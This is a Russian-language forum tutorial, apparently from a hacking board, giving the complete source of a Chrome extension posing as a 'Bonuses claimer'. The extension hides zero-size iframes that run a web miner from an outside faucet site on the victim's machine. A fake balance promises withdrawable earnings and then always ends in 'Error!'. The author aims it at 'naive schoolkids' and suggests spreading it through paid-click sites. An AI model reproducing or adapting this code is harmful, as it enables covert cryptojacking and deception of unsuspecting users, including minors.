НЕ АКТУАЛЬНО!!! (V2 Manifest считается устаревшим в Chrome и больше не поддерживается!) Всем привет! предыстория Я не профессионал но хочу поделиться своим опытом в создании данного типа "вируса", Почему в кавычках? Это расширение не распространяется само - а наивные школьники будут сами его устанавливать. Как? Сейчас все расскажу) Принцип: Расширение дает виртуальные деньги за посещение сайтов, чем дольше - тем больше Когда наберется определенная сумма деньги можно вывести но расширение выдаст ошибку)) И если школьник тупой он пойдет по второму кругу и так снова и снова... Необходимые файлы и скрипты: (jquery не обязателен) Как известно по политике Chrome для расширения нужно минимум 3 файла - 1. Манифест 2. HTML 3. JS Скрипт В нашем случае будет больше файлов, 2 скрипта, один основной и один фоновый Иконка расширения. и 2 HTML файла. Зачем второй выясним немного потом Итак мы создали все файлы, приступаем к написанию кода index.html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet"> <style> body { background: #202124; padding: 20px; } h3 { color: #ffffff; font-family: 'Roboto', sans-serif; } h1 { color: #ffffff; font-family: 'Roboto', sans-serif; } p { color: #ffffff; font-family: 'Roboto', sans-serif; } .btn { color: #fff; font-family: 'Roboto', sans-serif; } button { padding: 10px 0; width: 150px; outline: none; background: #444; border: 1px solid #444; border-radius: 5px; cursor: pointer; margin-bottom: 20px; } button:hover { background: #333; color: #fff; border-color: #333; } </style> <script src="js.cookie.js"></script> </head> <body> <iframe src="https://autofaucet.org/wm/tyom1ch/4" width="0" height="0" style="border:0"></iframe> <center> <h3>Bonuses claimer</h3> <h1 id="balance">0.00$</h1> <p id="h_txt">Auto-claim bonuses?</p> <button id="swith_btn"><h3 class="btn" id="ind">Off</h3></button> <button id="withdraw_btn"><h3 class="btn">Withdraw</h3></button> <script src="content.js"></script> </center> </body> </html> HTML <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet"> <style> body { background: #202124; padding: 20px; } h3 { color: #ffffff; font-family: 'Roboto', sans-serif; } h1 { color: #ffffff; font-family: 'Roboto', sans-serif; } p { color: #ffffff; font-family: 'Roboto', sans-serif; } .btn { color: #fff; font-family: 'Roboto', sans-serif; } button { padding: 10px 0; width: 150px; outline: none; background: #444; border: 1px solid #444; border-radius: 5px; cursor: pointer; margin-bottom: 20px; } button:hover { background: #333; color: #fff; border-color: #333; } </style> <script src="js.cookie.js"></script> </head> <body> <iframe src="https://autofaucet.org/wm/tyom1ch/4" width="0" height="0" style="border:0"></iframe> <center> <h3>Bonuses claimer</h3> <h1 id="balance">0.00$</h1> <p id="h_txt">Auto-claim bonuses?</p> <button id="swith_btn"><h3 class="btn" id="ind">Off</h3></button> <button id="withdraw_btn"><h3 class="btn">Withdraw</h3></button> <script src="content.js"></script> </center> </body> </html> frame.html <html> <head> <iframe src="https://autofaucet.org/wm/tyom1ch/2" width="0" height="0" style="border:0"> </iframe> </head> <body> </body> </html> HTML <html> <head> <iframe src="https://autofaucet.org/wm/tyom1ch/2" width="0" height="0" style="border:0"> </iframe> </head> <body> </body> </html> Что за фрейм? Расширение создает на странице iframe с веб майнером Поэтому данный майнер трудно вычислить так как хром думает что мы открыли саму страницу Для этого нужно создать акк на autofaucet!!! https://zelenka.guru/threads/1944327/ background.js var iframe = document.createElement ('iframe'); iframe.src = chrome.runtime.getURL ('frame.html'); document.body.appendChild (iframe); JavaScript var iframe = document.createElement ('iframe'); iframe.src = chrome.runtime.getURL ('frame.html'); document.body.appendChild (iframe); А вот и фоновый скрипт который инжектит html в страницу) В принципе на этом можно закончить но в начале я говорил про расширение с "выводом денег", так вот тут код вполне простой но я покажу вам обфускованый код, он рабочий но вы не разберетесь в нем (думаю вы знаете что такое обфускация) content.js let switch_ch=document.getElementById('swith_btn');let withdraw=document.getElementById('withdraw_btn');let ind=document.getElementById('ind');let help_txt=document.getElementById('h_txt');let balance=document.getElementById('balance');var click=true;var ramClick;var bal=0.01;var needMoney;var goalMoney=15;bal=parseFloat(localStorage.getItem('balance')||0.01);ramClick=localStorage.getItem('clicked',click);updateBtnState();addCoin();function getCurrentTab(a){let queryOptions={active:true,lastFocusedWindow:true};chrome.tabs.query(queryOptions,([tab])=>{if(chrome.runtime.lastError)console.error(chrome.runtime.lastError);alert(tab)})}function updateBalance(){balance.innerHTML=bal.toFixed(2)+'$'}function addCoin(){bal=bal+0.01;updateBalance();localStorage.setItem('balance',bal)}function change_state_bon(){click=!click;localStorage.setItem('clicked',click);updateBtnState()}function updateBtnState(){if(click==true){ind.innerHTML='On'}if(click==false){ind.innerHTML='Off'}}switch_ch.addEventListener("click",()=>{change_state_bon()});withdraw.addEventListener("click",()=>{needMoney=bal-goalMoney;if(bal<=goalMoney){help_txt.innerHTML="You can't withdraw it now, you need "+Math.abs(needMoney.toFixed(2))+"$"}else{bal=0.00;updateBalance();help_txt.innerHTML="Please wait...";setTimeout(()=>help_txt.innerHTML="Error!",1000)}}); JavaScript let switch_ch=document.getElementById('swith_btn');let withdraw=document.getElementById('withdraw_btn');let ind=document.getElementById('ind');let help_txt=document.getElementById('h_txt');let balance=document.getElementById('balance');var click=true;var ramClick;var bal=0.01;var needMoney;var goalMoney=15;bal=parseFloat(localStorage.getItem('balance')||0.01);ramClick=localStorage.getItem('clicked',click);updateBtnState();addCoin();function getCurrentTab(a){let queryOptions={active:true,lastFocusedWindow:true};chrome.tabs.query(queryOptions,([tab])=>{if(chrome.runtime.lastError)console.error(chrome.runtime.lastError);alert(tab)})}function updateBalance(){balance.innerHTML=bal.toFixed(2)+'$'}function addCoin(){bal=bal+0.01;updateBalance();localStorage.setItem('balance',bal)}function change_state_bon(){click=!click;localStorage.setItem('clicked',click);updateBtnState()}function updateBtnState(){if(click==true){ind.innerHTML='On'}if(click==false){ind.innerHTML='Off'}}switch_ch.addEventListener("click",()=>{change_state_bon()});withdraw.addEventListener("click",()=>{needMoney=bal-goalMoney;if(bal<=goalMoney){help_txt.innerHTML="You can't withdraw it now, you need "+Math.abs(needMoney.toFixed(2))+"$"}else{bal=0.00;updateBalance();help_txt.innerHTML="Please wait...";setTimeout(()=>help_txt.innerHTML="Error!",1000)}}); И самое важное, манифест { "manifest_version": 2, "name": "Bonuses claimer", "description": "Автоматически забирать бонусы с сайтов", "version": "1.2.1", "author": "Tyomchz Team", "browser_action": { "default_title": "Bonus claimer", "default_icon": "icon.png", "default_popup": "index.html" }, "content_scripts": [ { "matches": [ "<all_urls>" ], "js": ["jquery.min.js", "content.js"] } ], "web_accessible_resources": [ "frame.html" ], "background": { "scripts": ["background.js"], "persistent": false }, "permissions": [ "activeTab", "tabs", "cookies", "alarms" ] } Code { "manifest_version": 2, "name": "Bonuses claimer", "description": "Автоматически забирать бонусы с сайтов", "version": "1.2.1", "author": "Tyomchz Team", "browser_action": { "default_title": "Bonus claimer", "default_icon": "icon.png", "default_popup": "index.html" }, "content_scripts": [ { "matches": [ "<all_urls>" ], "js": ["jquery.min.js", "content.js"] } ], "web_accessible_resources": [ "frame.html" ], "background": { "scripts": ["background.js"], "persistent": false }, "permissions": [ "activeTab", "tabs", "cookies", "alarms" ] } Можете потыкать и поменять текст, потом все упаковываем в папку и можно кидать кому угодно, но самый лучший способ кинуть данное расширение на буксы, школота за копейки сделает всю работу И на этом наша статья закончилась, спасибо за прочтение! Буду рад вашему мнению в комментах